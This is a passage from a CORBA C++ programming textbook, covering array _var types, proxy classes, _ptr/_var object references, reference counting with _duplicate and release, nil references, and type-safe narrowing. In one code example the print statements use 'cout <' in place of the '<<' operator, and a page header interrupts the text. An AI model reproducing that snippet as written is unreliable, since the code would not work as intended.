code: 
        
StrSeq_var sv = ...; 
some_func(sv);          // Passed as in, inout, or out? 
some_func(sv.out());    // Much clearer... 
 
       
The out member function deallocates the underlying instance of type T as a side effect 
to prevent memory leaks if the same T_var instance is passed to successive calls: 
        
StrSeq_var sv = ...; 
some_func(sv.out());    // Sets sv to heap-allocated instance. 
some_func(sv.out());    // Deallocates previous instance, assumes 
                        // ownership of new instance. 
 
       
        
T * _retn() 
 
       
This function returns the pointer to the underlying instance of type T and also 
relinquishes ownership of that pointer. It is useful mainly when you create a T_var to 
avoid memory leaks but then must transfer ownership of the underlying type. 

Additional T_var Member Functions for Fixed-Length Types 

For a T_var for a fixed-length structure, union, or sequence of type T, the IDL compiler 
generates the following: 
        
class T_var { 
public: 
    // Normal member functions here... 
     
    // Member functions for fixed-length T: 
                T_var(const T &); 
    T_var &     operator=(const T &); 
    const T &   in() const; 
    T &         inout(); 
    T &         out(); 
    T               _retn(); 
}; 
T_var(const T &) 
T & operator=(const T &) 
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The additional constructor and assignment operator permit you to construct or assign a 
T_var from a T. 
        
const T & in() const 
T & inout() 
T & out() 
T _retn() 
 
       
These member functions are provided to deal with defective compilers that cannot handle 
default conversions correctly. They also make the direction in which a parameter is 
passed explicit at the point of call, something that improves code readability. 
 
The out and _retn member functions for fixed-length types do not relinquish 
ownership of the underlying type. They cannot do this because they do not return a 
pointer. 

6.19.5 _var Types for Arrays 

The _var types generated for arrays follow a similar pattern as those for structures, 
unions, and sequences. The differences are that _var types for arrays do not overload the 
indirection operator (it is not needed for arrays) and that the return types of some of the 
member functions are different. _var types for arrays with variable-length and fixed-
length elements also have some differences. 

Array _var Mapping for Arrays with Variable-Length Elements 

It is easiest to illustrate the mapping with an example. Here we define a three-element 
array containing variable-length structures: 
        
struct Fraction {               // Variable-length structure 
    double  numeric; 
    string  alphabetic; 
}; 
typedef Fraction FractArr[3]; 
 
       
This maps to the following C++ definitions: 
        
struct Fraction { 
    CORBA::Double       numeric; 
    CORBA::String_mgr   alphabetic; 
}; 
 
class Fraction_var { 
public: 
    // As before... 
}; 
 
typedef Fraction FractArr[3]; 
typedef Fraction FractArr_slice; 
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FractArr_slice *      FractArr_alloc(); 
FractArr_slice *      FractArr_dup(const FractArr_slice *); 
void                  FractArr_copy( 
                          FractArr_slice *       to, 
                          const FractArr_slice * from 
                      ); 
void                  FractArr_free(FractArr_slice *); 
 
class FractArr_var { 
public: 
                        FractArr_var(); 
                        FractArr_var(FractArr_slice *); 
                        FractArr_var(const FractArr_var &); 
                        ~FractArr_var(); 
 
    FractArr_var &      operator=(FractArr_slice *); 
    FractArr_var &      operator=(const FractArr_var & rhs); 
 
    Fraction &          operator[](CORBA::ULong); 
    const Fraction &    operator[](CORBA::ULong) const; 
 
                        operator FractArr_slice *(); 
                        operator const FractArr_slice *() const; 
                        operator FractArr_slice * &(); 
     
    const FractArr_slice *  in() const; 
    FractArr_slice *        inout(); 
    FractArr_slice * &      out(); 
    FractArr_slice *        _retn(); 
}; 
 
       
If all this looks a little intimidating, remember that the various member functions do 
exactly the same things as for _var types for structures, unions, and sequences. 
 
The default constructor initializes the internal pointer to the underlying array to null. 
 
Constructors and assignment operators that accept an argument of type 
FractArr_slice * assume that the array was allocated with FractArr_alloc or 
FractArr_dup, and they take ownership of the passed pointer. 
 
The copy constructor and FractArr_var & assignment operator each make a deep 
copy. 
 
The destructor deallocates the array by calling FractArr_free. 
 
The subscript operators allow indexing into the array, so you can use a FractArr_var 
as if it were the actual array. 
 
The conversion operators permit passing the array as an in, inout, or out parameter 
(see Section 7.14.12). 
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The explicit conversion functions in, inout, and out behave as for structures, unions, 
and sequences. 
 
The _retn function permits you to relinquish ownership of the underlying type. 
 
All this means that you can use an array _var as if it were the actual array; you just need 
to remember that an array _var must be initialized with dynamically allocated memory. 
        
const char * fractions[] = { "1/2", "1/3", "1/4" }; 
 
FractArr_var fa1 = FractArr_alloc(); 
for (CORBA::ULong i = 0; i < 3; i++) {       // Initialize fa1 
    fa1[i].numeric = 1.0 / (i + 2); 
    fa1[i].alphabetic = fractions[i];           // Deep copy 
} 
 
FractArr_var fa2 = fa1;                         // Deep copy 
fa2[0].alphabetic = CORBA::string_dup("half");  // Explicit copy 
fa2[1] = fa2[2];                                // Deep assignment 
cout.precision(2); 
for (CORBA::ULong i = 0; i < 3; i++) {       // Print fa1 
 
    cout < "fa1[" < i < "].numeric = " 
         < fa1[i].numeric 
         < ",\tfa1[" < i < "].alphabetic = " 
         < fa1[i].alphabetic < endl; 
} 
cout < endl; 
for (CORBA::ULong i = 0; i < 3; i++) {       // Print fa2 
    cout < "fa2[" < i < "].numeric = " 
         < fa2[i].numeric 
         < ",\tfa2[" < i < "].alphabetic = " 
         < fa2[i].alphabetic < endl; 
} 
 
       
The output of this program is as follows: 
        
fa1[0].numeric = 0.5,   fa1[0].alphabetic = 1/2 
fa1[1].numeric = 0.33,  fa1[1].alphabetic = 1/3 
fa1[2].numeric = 0.25,  fa1[2].alphabetic = 1/4 
 
fa2[0].numeric = 0.5,   fa2[0].alphabetic = half 
fa2[1].numeric = 0.25,  fa2[1].alphabetic = 1/4 
fa2[2].numeric = 0.25,  fa2[2].alphabetic = 1/4 
 
       

Array _var Mapping for Arrays with Fixed-Length Elements 

The mapping for _var types for arrays with fixed-length elements is almost identical to 
the mapping for _var types for arrays with variable-length elements. Here we define a 
three-element array containing fixed-length structures: 
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struct S {              // Fixed-length structure 
    long    l_mem; 
    char    c_mem; 
}; 
typedef S StructArray[3]; 
 
       
The mapping for the corresponding StructArray_var type is as follows: 
        
class StructArray_var { 
public: 
                      StructArray_var(); 
                      StructArray_var(StructArray_slice *); 
                      StructArray_var(const StructArray_var &); 
                      ~StructArray_var(); 
  
 StructArray_var & operator=(StructArray_slice *); 
    StructArray_var & operator=(const StructArray_var & rhs); 
  
    S &               operator[](CORBA::ULong); 
    const S &         operator[](CORBA::ULong) const; 
 
                      operator StructArray_slice *(); 
                      operator const StructArray_slice *() const; 
    const StructArray_slice *   in() const; 
    StructArray_slice *         inout(); 
    StructArray_slice *         out(); 
    StructArray_slice *         _retn(); 
}; 
 
       
The only differences between _var types for arrays with fixed-length and those for 
variable-length elements are that for fixed-length elements, the out member function 
returns a pointer instead of a reference to a pointer and that no user-defined conversion 
operator for StructArray_slice * & is defined. These differences originate in the 
different parameter passing rules for variable-length and fixed-length types. We discuss 
these rules in detail in Section 7.14. 

6.20 Summary 

The basic C++ mapping defines how built-in types and user-defined types map to C++. 
Although some of the classes generated by the mapping have a large number of member 
functions, within a short time you will find yourself using them as you use any other data 
type. Even the memory management rules, which may seem complex right now, soon 
become second nature. When writing your code, keep in mind that you should be looking 
at the IDL definitions and not at the generated header files. In that way, you avoid getting 
confused by many internal details and cryptic work-arounds for different platforms and 
compilers. 
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Chapter 7. Client-Side C++ Mapping 

7.1 Chapter Overview 

In Chapter 6, we covered the basic mapping from IDL to C++— that is, how each IDL 
type appears at the C++ level. In addition to using IDL types, clients deal with object 
references, invoke operations on objects, and handle exceptions raised by operations. 
This chapter covers these topics in detail. Sections 7.3 to 7.6 cover the semantics of 
object references, sections 7.7 to 7.10 cover ORB initialization, and Section 7.11 
presents operations that apply to all object references, regardless of their type. Section 
7.12 discusses automatic memory management using _var references, and sections 
7.13 and 7.14 present the details of invoking operations and parameter passing. 
Sections 7.15 and 7.16 discuss exception handling and contexts. 

7.2 Introduction 

As with the basic C++ mapping we presented in Chapter 6, there is a lot of ground to 
cover here. Do not be disheartened by the amount of detail—you do not need to 
understand the client-side mapping in full on the first reading. We have arranged the 
material so that all the information on a particular topic is presented together, so you can 
skip parts of the mapping now and easily refer to this chapter later when you need the 
answer to a particular question. However, we recommend that you read at least 
Sections 7.5 and 7.6 in detail, as well as Section 7.14.6. These sections contain 
core information that is essential to understanding the mapping. 

7.3 Mapping for Interfaces 

As you saw in Section 2.5.4, a proxy class offers a location-transparent interface to 
the client. Proxy classes are generated from IDL definitions, and each IDL interface 
results in a separate C++ proxy class. Consider the following IDL interface: 
      
interface MyObject { 
    long get_value(); 
}; 
 
     
The generated proxy class looks like this: 
      
class MyObject : public virtual CORBA::Object { 
public: 
    virtual CORBA::Long get_value() = 0; 
    // ...  
}; 
 
     
For now, we have omitted a number of details in this class. The important points to note 
are as follows. 
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The generated proxy class MyObject has the same name as the IDL interface 
MyObject. 
 
The proxy class inherits from CORBA::Object, reflecting the fact that all IDL 
interfaces implicitly inherit from Object. 
 
The proxy class provides a get_value method that corresponds to the IDL 
get_value operation. 
 
get_value is declared pure virtual, so the proxy class is an abstract base class that 
cannot be instantiated. 
 
Note that your ORB may choose to add an exception specification to the get_value 
signature (the C++ mapping makes exception specifications optional for client-side stubs). 
We discuss exception specifications in more detail on page 319. Also note that some 
ORBs make proxy classes non-abstract. Non-abstract proxy classes are a legal 
implementation of the C++ mapping. Whether or not the proxy class is abstract does not 
affect the code. 
 
If a client has a derived instance of the MyObject proxy class and calls the 
get_value method, the ORB sends a message to the (possibly remote) target object. 
The client-side code blocks until the method returns and delivers the result (a long 
value). 
 
Because the proxy class is an abstract base class, the client code cannot directly 
instantiate it. Even if your ORB does not generate abstract proxy classes, you must still 
treat them as if they were abstract; if you instantiate a proxy class yourself, you are 
writing non-portable code. In addition, the C++ mapping explicitly prohibits the client 
code from 
 
Declaring a pointer to a proxy class 
Declaring a reference to a proxy class 
This means that the following code contains three errors: 
      
MyObject myobj;       // Cannot instantiate a proxy directly 
MyObject * mop;       // Cannot declare a pointer to a proxy 
void f(MyObject &); // Cannot declare a reference to a proxy 
 
     
These restrictions exist to give ORB vendors maximum freedom in the way proxies are 
implemented. Be aware that declaring a pointer or reference to a proxy will not generate a 
compile-time error. Instantiating a proxy will go undetected at compile time if your ORB 
implements proxies as concrete classes instead of abstract classes. 
 
If a client is not allowed to directly instantiate a proxy, how are these proxies created? 
The answer is that proxies are instantiated by the ORB run time when an object reference 
enters the client's address space. The client does not manipulate the proxy directly (the 
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proxy remains under control of the ORB). Instead, the client accesses proxy instances via 
handles known as object reference types. 

7.4 Object Reference Types 

Apart from the proxy class, the IDL compiler generates two object reference types for 
each interface. These object reference types are called InterfaceName_ptr and 
InterfaceName_var. For example, for the MyObject interface, the compiler 
generates three different types: 
 
MyObject  This is the proxy base class.  
 
MyObject_ptr  This is a raw object reference type that behaves much like a C++ class 
instance pointer. In many implementations, it is a C++ instance pointer.  
 
MyObject_var  The _var version of the object reference type acts as a handle to a 
proxy in much the same way as a _ptr reference but also adds memory management. 
Like all _var types, a _var reference takes care of deallocating its underlying instance 
(in this case, the proxy instance) when the reference goes out of scope.  
 
Both _ptr references and _var references allow the client to access operations on a 
proxy instance. For example, for the MyObject interface shown earlier, a client can use 
references as follows: 
      
MyObject_ptr mop = ...;                // Get _ptr reference... 
CORBA::Long v1 = mop->get_value();     // Get value from object 
 
MyObject_var mov = ...;                // Get another reference... 
CORBA::Long v2 = mov->get_value();  // Get value from object 
 
     
It does not matter whether you use a _ptr reference or a _var reference to invoke an 
operation. In either case, you use the indirection operator -> to invoke operations on the 
underlying proxy. The proxy in turn ensures that it delivers the invocation to the correct 
object, whether that object is local or remote. Note that a line of code such as 
      
some_ref->get_value(); 
 
     
is sufficient to reach a remote object. The code looks as if it calls an ordinary member 
function via a class instance pointer (which is what it does). The code generated into the 
body of get_value in the proxy class, together with the underlying ORB, does all the 
work of locating the object, transmitting the request, and returning any results. The client 
application code is completely unaware of things such as networking protocols, object 
location, file descriptors, sockets, byte ordering, and many other unpleasant low-level 
complications. 
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We discuss the differences between _ptr and _var references in Section 7.12. For 
now, the important point to remember is that a reference type acts as a handle to the 
underlying proxy. The proxy in turn provides location transparency by hiding from the 
application code the differences in call dispatch between local and remote objects. This 
makes a remote CORBA object appear as if it were a local C++ object. 

7.5 Life Cycle of Object References 

Proxies and object references have a life cycle: they can be created, copied, and destroyed. 
However, reference creation does not apply to client code. With the exception of nil 
references, CORBA does not allow clients to create object references because clients do 
not implement objects. Instead, CORBA makes reference creation a server-side issue to 
preserve the opaqueness of references. This means that the following rules apply to the 
life cycle of proxies and references in the client. 
 
Proxies are created by the client-side ORB run time on behalf of the client when an object 
reference enters the client's address space. The ORB returns to the client code a _ptr 
reference to the new proxy. 
 
The client can destroy a reference. 
 
The client can make a copy of a reference it already holds. 
 
The client can create a nil reference (a reference that points nowhere). 
 
Let us examine what happens when a client receives an object reference to an interface of 
type MyObject as the result of invoking an operation. The ORB run time instantiates a 
proxy of type MyObject and returns a value of type MyObject_ptr to the client. The 
new proxy instance carries a reference count that is initialized to 1 by the ORB. For 
example, the initialization 
      
MyObject_ptr mop = ...; // Get reference from somewhere... 
 
     

creates the picture shown in Figure 7.1 in the client's address space. Note that because 
MyObject can be an abstract base class, the actual proxy type may be derived from 
MyObject (but this detail is irrelevant for this discussion). Also, CORBA does not 
require reference counting of proxies, so the explanations that follow are somewhat 
implementation-dependent. Still, discussing a concrete implementation makes it easier to 
understand what goes on behind the scenes. The code we show in this book is portable 
and will work correctly whether or not the ORB uses reference counting (most of them 
do). 
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Figure 7.1 _ptr reference and proxy immediately after instantiation. 

 
After the client has obtained a reference, the proxy is instantiated in memory and the 
client can invoke operations via the reference: 
      
CORBA::Long v = mop->get_value();   // Call operation 
cout << "Value is " << v << endl;   // Print result 
 
     
This call sends a message to the (possibly remote) object to invoke the get_value 
operation. The call blocks until the result is received; a remote invocation looks like a 
normal synchronous procedure call to the client. The client code can use the returned 
value as it uses any other value. (In this example, it sends the value to the standard output 
stream.) 

7.5.1 Reference Deletion 

A proxy created by the ORB run time consumes resources in the client. Each proxy 
requires some memory, but, beyond that, proxies for remote objects also encapsulate 
networking resources, such as a file descriptor to a socket representing a TCP/IP 
connection. The client code must inform the ORB run time when it is no longer interested 
in talking to an object represented by a proxy. This allows the run time to reclaim the 
resources associated with that proxy. 
 
Clients deallocate a proxy and its associated networking resources by calling 
CORBA::release: 
       
CORBA::release(mop);    // Done with this object 
 
      
release is a function in the CORBA namespace that informs the run time that the 
client no longer wants to communicate with the corresponding object. release 
decrements the reference count on a proxy instance. When the reference count drops to 
zero, the ORB run time deallocates the proxy and reclaims networking resources (see 
Figure 7.2). Because a proxy is initially created with a reference count of 1, a 
subsequent call to release drops the count to zero and deletes the proxy instance. The 
client must not use a reference after releasing it: 
 
 
 



IT-SC book: Advanced CORBA® Programming with C++ 

 209

Figure 7.2 Proxy deletion when reference count drops to zero. 

 
       
MyObject_ptr mop = ...;             // Initialize reference... 
CORBA::Long v = mop->get_value();   // Get a value 
CORBA::release(mop);                // Finished with object 
v = mop->get_value();           // Looming disaster!!! 
 
      
The final call has undefined behavior because it accesses deallocated memory (in many 
implementations, it will cause a core dump). 

7.5.2 Reference Copying 

The IDL compiler generates a static member function called _duplicate into each 
proxy class. For example, the generated code for the MyObject proxy looks like this: 
       
class MyObject : public virtual CORBA::Object { 
public: 
    virtual CORBA::Long get_value() = 0; 
    static MyObject_ptr _duplicate(MyObject_ptr p); 
    // ... 
};  
 
      
The _duplicate member function makes a copy of the reference passed as the 
argument p and returns the copy. The original and the copy are identical in all respects 
and cannot be distinguished. Conceptually, _duplicate makes a physical (deep) copy 
of the proxy. However, to avoid the expense of making a physical copy, _duplicate 
simply increments the reference count of the proxy and returns its _ptr reference. 
 
Consider the following code fragment, which makes a copy of a reference after 
instantiation: 
       
MyObject_ptr mop1 = ...;                             // Get reference 
MyObject_ptr mop2 = MyObject::_duplicate(mop1); // Make copy 
 
      

This creates the situation shown in Figure 7.3 in the client. 
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Figure 7.3 Reference count after _duplicate is called. 

 
The client now holds two initialized _ptr references: mop1 and mop2. Both references 
point at the same proxy and therefore denote the same object. Because _duplicate 
was called once, the reference count on the proxy is now 2. (The proxy was created with 
a reference count of 1, and _duplicate incremented it to 2.) 
 
The client now must call release twice (once with each reference as its argument) to 
get rid of the proxy: 
       
MyObject_ptr mop1 = ...;                        // Get reference 
MyObject_ptr mop2 = MyObject::_duplicate(mop1); // Make copy 
 
// Use one or both references... 
 
CORBA::release(mop1);   // Could release mop2 here 
CORBA::release(mop2);   // Could release mop1 here 
 
// Can't use either mop1 or mop2 from here on 
 
      
The first call to release decrements the reference count to 1, and the second call drops 
it to zero, which deallocates the proxy. The order of release of the two references does 
not matter, but neither mop1 nor mop2 must be used after they have been released. Using 
a reference after releasing it has undefined behavior. For example, the following code is 
in error: 
       
MyObject_ptr mop1 = ...;                        // Get reference 
MyObject_ptr mop2 = MyObject::_duplicate(mop1); // Make copy  
 
CORBA::release(mop2);               // Release mop2 
 
CORBA::Long v1 = mop2->get_value(); // Illegal, released already! 
CORBA::Long v2 = mop1->get_value(); // OK, not released yet 
 
CORBA::release(mop1);           // Release mop1 
 
      
In many implementations, this code will work just fine. However, it is, strictly speaking, 
non-portable because, conceptually, mop2 no longer points at a valid proxy after it is 
released. You cannot rely on the knowledge that mop2 still points at the same proxy it 
did before (but now with a reference count of 1) because an ORB could implement 
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_duplicate by physically copying the proxy instead of using a reference count. On 
such an implementation, using mop2 after releasing it would likely cause a core dump. 
 
Similarly, you must not call release twice on the same reference. The simple rule is 
that you must release each reference exactly once. 

7.5.3 Scope of Reference Counts 

There is one thing you need be very clear about: _duplicate and release affect the 
reference count of the proxy in the client only. The reference count exists purely to deal 
correctly with resource allocation and deallocation in the client. In particular, calling 
release in the client has no effect whatsoever on the corresponding object in the server. 
If a client calls release, the server does not know this has happened (_duplicate 
and release do not communicate with the server at all). 
 
Newcomers to CORBA frequently have the misconception that a client can call 
release to indicate it has lost interest in an object and that the server should therefore 
clean up and free resources allocated to the object. This is wrong—CORBA simply does 
not work this way. Calling _duplicate or release in the client affects only the 
client, and calling _duplicate or release in the server affects only the server. If a 
client wants to inform the server that it no longer needs an object, it must invoke a remote 
operation on the object to indicate this explicitly. We return to such object life cycle 
issues in Chapter 12. 

7.5.4 Nil References 

The IDL compiler generates a static member function called _nil into each proxy class. 
For example, the MyObject proxy contains the following: 
       
class MyObject : public virtual CORBA::Object { 
public: 
    virtual CORBA::Long get_value() = 0; 
    static MyObject_ptr _duplicate(MyObject_ptr p); 
    static MyObject_ptr _nil(); 
    // ... 
}; 
 
      
The _nil member function creates a reference that points nowhere— that is, a reference 
that does not denote any CORBA object. The client code can copy and release nil 
references as with any other reference: 
       
MyObject_ptr p1 = MyObject::_nil();         // Create nil ref 
MyObject_ptr p2 = MyObject::_duplicate(p1); // Copy nil ref 
// ... 
// Release both references 
CORBA::release(p2);         // Optional 
CORBA::release(p1);      // Optional 
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Copying or releasing a nil reference does not change any reference counts. Nil references 
are implemented either as null pointers or as a special singleton proxy; the C++ mapping 
specification guarantees that no resource leak will occur if you do not release a nil 
reference. However, typically it is easier to release nil references just as you release all 
other references because it avoids a special case in the code. 
 
Attempting to invoke an operation on a nil reference has undefined behavior: 
       
MyObject_ptr p = MyObject::_nil(); 
CORBA::Long l = p->get_value();    // Crash imminent here! 
 
      
Because a nil reference points nowhere, it is illegal to invoke an operation defined on the 
non-existent target object. In most implementations, the preceding code causes a core 
dump. 

Testing for Nil 

To test whether a reference is nil before using it, use the CORBA::is_nil library 
function: 
        
MyObject_ptr p = ...;   // Get reference from somewhere... 
if (!CORBA::is_nil(p)) 
    CORBA::Long l = p->get_value();     // Call only if not nil 
CORBA::release(p); 
 
       
In this example, the client obtains an object reference somehow, possibly as the return 
value of an operation. The returned reference might well be nil, and that means the code 
needs to test that the reference is not nil before it can safely make a call. The example 
also illustrates that it is convenient to be able to release nil references. The code 
unconditionally calls CORBA::release whether or not the reference is actually nil. 
The following code is in error: 
        
MyObject_ptr p = ...; 
if (p != 0)                 // Illegal 
    do_something(); 
if (p == MyObject::_nil())  // Also illegal 
    do_something(); 
 
       
Both tests are non-portable and have undefined behavior. They happen to work correctly 
for an ORB that implements nil _ptr references as C++ null pointers. However, another 
ORB may implement _ptr references as classes, in which case the preceding code is 
simply illegal. 
 
The important point is that the only portable way to test a reference for nil is to call 
CORBA::is_nil. 
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Why Create Nil References? 

Clients create nil references mainly to indicate "not there" or "optional" semantics, much 
as a C++ null pointer can be used to mean "not there." For example, the CORBA Event 
Service (see Chapter 20) allows a client optionally to pass an object reference and 
thereby be informed of disconnection from an event channel. If the client passes a non-nil 
reference, it indicates that it wants to be informed of disconnection. If the client passes a 
nil reference, it indicates that it does not want to know about disconnection. Simplified, 
the corresponding IDL looks something like this: 
        
interface Callback { 
   void disconnect(); 
}; 
 
interface Channel { 
   SomeType register_me(in Callback c); 
   // ... 
}; 
 
       
If the client does not care about disconnection, it can pass a nil reference to 
register_me: 
        
Channel_ptr ch = ...;   // Get a channel reference... 
 
// Tell the channel we don't want to know about disconnects 
Callback_ptr nil_cb = Callback::_nil(); 
SomeType st = ch->register_me(nil_cb); 
 
// Use channel for other things... 
 
       
By passing a nil reference, the client conveys the "not there" semantics (there is no 
callback object for the server to use). 
We discuss this callback pattern in more detail in Section 20.3. 

7.6 Semantics of _ptr References 

As you saw in the preceding section, _ptr references act as handles to an underlying 
proxy. In this section, we examine the semantics of _ptr references in more detail and 
consider how inheritance affects the use of _ptr references. 

7.6.1 Mapping for Proxies and _ptr References 

Consider part of the IDL for the climate control system: 
       
// ... 
module CCS { 
  // ... 
  typedef short TempType; 
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  interface Thermometer { 
    readonly attribute TempType     temperature; 
    // ... 
  }; 
  
  interface Thermostat : Thermometer { 
    TempType    get_nominal(); 
    // ... 
  }; 
  // ... 
}; 
 
      
Following is one possible way for an ORB to map these interfaces to proxy classes and 
their associated _ptr references: 
       
namespace CORBA { 
    class Object; 
    class Object_var; 
    typedef Object * Object_ptr; 
    class Object { 
    public: 
        static Object_ptr _duplicate(Object_ptr p); 
        static Object_ptr _nil(); 
        static Object_ptr _narrow(Object_ptr p); 
        // Other member functions here... 
        typedef Object_var _var_type; 
        typedef Object_ptr _ptr_type; 
    };  
    Boolean is_nil(Object_ptr p); 
    // ... 
} 
 
namespace CCS { 
    // ... 
    class Thermometer; 
    class Thermometer_var;  
    typedef Thermometer * Thermometer_ptr; 
    class Thermometer : public virtual CORBA::Object { 
    public: 
        static Thermometer_ptr _duplicate(Thermometer_ptr p); 
        static Thermometer_ptr _nil(); 
        static Thermometer_ptr _narrow(CORBA::Object_ptr p); 
        // Member functions for attributes of Thermometer here... 
        typedef Thermometer_var _var_type; 
        typedef Thermometer_ptr _ptr_type; 
    }; 
 
    class Thermostat; 
    class Thermostat_var; 
    typedef Thermostat * Thermostat_ptr; 
    class Thermostat : public virtual Thermometer { 
    public: 
        static Thermostat_ptr _duplicate(Thermostat_ptr p); 
        static Thermostat_ptr _nil(); 
        static Thermostat_ptr _narrow(CORBA::Object_ptr p); 
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        // Member functions for operations of Thermostat here... 
        typedef Thermostat_var _var_type; 
        typedef Thermostat_ptr _ptr_type; 
    }; 
    // ... 
} 
 
      
Before we launch into the details of this mapping, we need to note that the C++ mapping 
specification does not require the precise mapping shown. For example, an ORB could 
choose to implement a _ptr reference as a class instead of a C++ pointer. However, the 
mapping requires that a compliant ORB must preserve the semantics of the mapping just 
shown. This means that even if a _ptr reference is not implemented as a C++ pointer, it 
must behave as if it were a C++ pointer. 
 
The C++ mapping deliberately phrases its requirements this way to give ORB vendors 
maximum freedom in how they implement an ORB for particular environments. At the 
same time, the mapping guarantees source code portability among different ORBs. All 
the code examples shown in this book are fully compliant with the mapping and therefore 
are portable. We also point out constructs that happen to work with many ORBs but 
nevertheless are nonportable. 
 
Note that we delay until Section 18.14.1 discussion of the _var_type and 
_ptr_type definitions that appear at the end of each proxy class. 

7.6.2 Inheritance and Widening 

In the mapping shown in the preceding section, Thermometer inherits from 
CORBA::Object, and Thermostat inherits from Thermometer. In other words, 
the inheritance structure of the proxy classes mirrors the inheritance of the IDL interfaces. 
Also note that _ptr references are C++ pointers to the corresponding proxy class. (If 
they are not implemented as actual pointers, they behave as if they were C++ class 
instance pointers.) This means that _ptr references, like C++ pointers, support implicit 
widening. For example: 
       
CCS::Thermostat_ptr tmstat = ...;     // Get Thermostat ref... 
CCS::Thermometer_ptr thermo = tmstat; // OK, compatible assignment 
CORBA::Object_ptr o1 = tmstat;        // OK too 
CORBA::Object_ptr o2 = thermo;    // OK too 
 
      
These assignments are widening assignments. C++ standard conversions ensure that a 
pointer to a derived class is assignment-compatible with a pointer to a base class. This 
reflects the fact that inheritance expresses an is-a relationship. A thermostat is-a 
thermometer, so it makes sense to treat it as one. 
 
Because all IDL interfaces implicitly inherit from Object, proxy classes form a single-
rooted inheritance tree with CORBA::Object at the root. It follows that _ptr 
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references of any type can be widened to Object_ptr, as shown by the last two 
assignments. 
 
The preceding assignments create the situation shown in Figure 7.4 in the client. 

Figure 7.4 Effect of widening _ptr assignments. 

 
The first assignment to tmstat creates the proxy with a reference count of 1 (we 
assume that the reference was obtained from an ORB API call). Note that the 
assignments that follow do not affect the reference count. Ordinary assignment between 
_ptr references is a shallow assignment. Given the mapping for _ptr references, this 
makes sense because each of the preceding assignments simply assigns a C++ pointer. 
 
The client now holds four separate _ptr references that all denote the same (possibly 
remote) thermostat object. The C++ type system ensures that the thermostat part of the 
object can be accessed only via a Thermostat_ptr but not via a 
Thermometer_ptr or Object_ptr: 
       
CCS::TempType t; 
t = tmstat->get_nominal();  // OK, read nominal temperature 
t = thermo->get_nominal();  // Compile-time error, cannot access 
                            // derived part via base reference 
t = o1->get_nominal();   // Compile time error too 
 
      
Because the reference count on the proxy is still 1, a single call to CORBA::release 
on any one of the references deallocates the proxy and leaves all references dangling: 
       
CORBA::release(thermo);     // or CORBA::release(tmstat); 
                            // or CORBA::release(o1); 
                            // or CORBA::release(o2); 
// Cannot use tmstat, thermo, o1, or o2 from here on... 
 
      
The client code can also make explicit copies during the assignments. For example: 
       
CCS::Thermostat_ptr tmstat = ...;   // Get Thermostat reference... 
CCS::Thermometer_ptr thermo 
                        = CCS::Thermometer::_duplicate(tmstat); 
CORBA::Object_ptr o1 = CCS::Thermometer::_duplicate(tmstat); 
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CORBA::Object_ptr o2 = CORBA::Object::_duplicate(thermo); 
 
      
This code creates the same picture as before but with a reference count of 4 on the proxy 
(see Figure 7.5). Of course, the client now must call CORBA::release once on each 
reference to deallocate the proxy. 

Figure 7.5 Effect of widening _ptr assignments with explicit copying. 

 
The preceding code example also uses widening assignments. For example, the 
assignment 
       
CORBA::Object_ptr o1 = CCS::Thermometer::_duplicate(tmstat); 
 
      
uses widening in two places. For the call to _duplicate, the actual argument tmstat 
is of type Thermostat_ptr, which is widened to the formal parameter type 
Thermometer_ptr. The return value from _duplicate of type 
Thermometer_ptr is widened to CORBA::Object_ptr during the assignment. 
This code works because of the C++ standard conversion from pointer-to-derived to 
pointer-to-base. 

7.6.3 Narrowing Conversions 

C++ type rules make the following illegal: 
       
CCS::Thermometer_ptr thermo = ...;       // Get Thermometer ref... 
CCS::Thermostat_ptr tmstat = thermo; // Compile-time error 
 
      
The attempt to assign a thermometer reference to a thermostat reference is rejected by the 
compiler. C++, being a statically type-safe language, rejects the assignment from a 
pointer-to-base to a pointer-to-derived because it cannot guarantee that, at run time, the 
base pointer will really point at a derived object of the correct type. We know that 
thermo does point at a thermostat, so you may be tempted to write something such as 
this: 
       
CCS::Thermostat_ptr tmstat 
    = (CCS::Thermostat_ptr)thermo;  // Disastrous!!! 
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This code may compile and may even happen to do the right thing at run time, but 
nevertheless it has completely undefined behavior. In the presence of multiple inheritance 
with virtual base classes, such a sledgehammer cast will get you into trouble eventually. 
The C++ mapping is crafted very carefully to make casts unnecessary; if you find 
yourself writing a cast, take it as a strong indication that you are doing something wrong. 

7.6.4 Type-Safe Narrowing 

To allow you to safely down-cast a reference at run time, the IDL compiler generates a 
static member function called _narrow: 
       
CCS::Thermometer_ptr thermo = ...;  // Initialize... 
 
// Try type-safe down-cast 
CCS::Thermostat_ptr tmstat = CCS::Thermostat::_narrow(thermo); 
if (CORBA::is_nil(tmstat)) { 
    // thermo is not of type Thermostat 
} else { 
    // thermo *is a* Thermostat, tmstat is now a valid reference 
} 
CORBA::release(tmstat);     // _narrow() calls _duplicate()! 
 
      
The code initializes thermo to point to some object. Because thermo is of type 
Thermometer, it can denote either a thermometer or a thermostat depending on the 
actual type of the object thermo is initialized to. The call to 
CCS::Thermostat::_narrow performs a run-time test on the reference, and it 
returns a non-nil reference only if the actual type of thermo matches the expected type 
Thermostat. If the actual type is not compatible with the expected type, _narrow 
returns a nil reference. This mechanism is very similar to a C++ dynamic_cast, which 
serves the same purpose for C++ types. 
 
Note that _narrow calls _duplicate. Conceptually, _narrow does not return the 
original reference converted to the new type but instead returns a copy that is converted 
to the new type. This means that you must release a reference returned from _narrow; 
otherwise, you will suffer a resource leak. 
 
Depending on the exact type being narrowed to, _narrow may need to contact the 
server. If the server is registered for automatic start-up, calling _narrow may therefore 
start the server as a side effect. It follows that _narrow may raise exceptions if it is 
unable to contact the server (see Section 7.15.2). Note that the C++ mapping cannot 
use a C++ dynamic_cast instead of _narrow because of the need to contact the 
server. 
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7.6.5 Illegal Uses of _ptr References 

To avoid unduly restricting ORB implementers, a number of uses of _ptr references are 
explicitly flagged as having undefined behavior in the C++ mapping. Do not use these 
constructs even if they happen to work in your implementation. In other implementations, 
they may give incorrect results, or, if _ptr references are implemented as classes, these 
constructs will not even compile. 
 
Comparison for equality or inequality 

         
CORBA::Object_ptr o1 = ...; 
CORBA::Object_ptr o2 = ...; 
if (o1 == o2)               // Undefined behavior! 
    ...; 
if (o1 != o2)               // Undefined behavior! 
    ...; 
 

        
The outcome of these comparisons is completely undefined and may or may not yield the 
expected result (see Section 7.11.3 for a portable way to compare references). 
Applying relational operators to references 

         
CORBA::Object_ptr o1 = ...; 
CORBA::Object_ptr o2 = ...; 
if (o1 < o2)         // Undefined behavior! 
    ...;             // <, <=, >, and >= have no meaning 
 

        
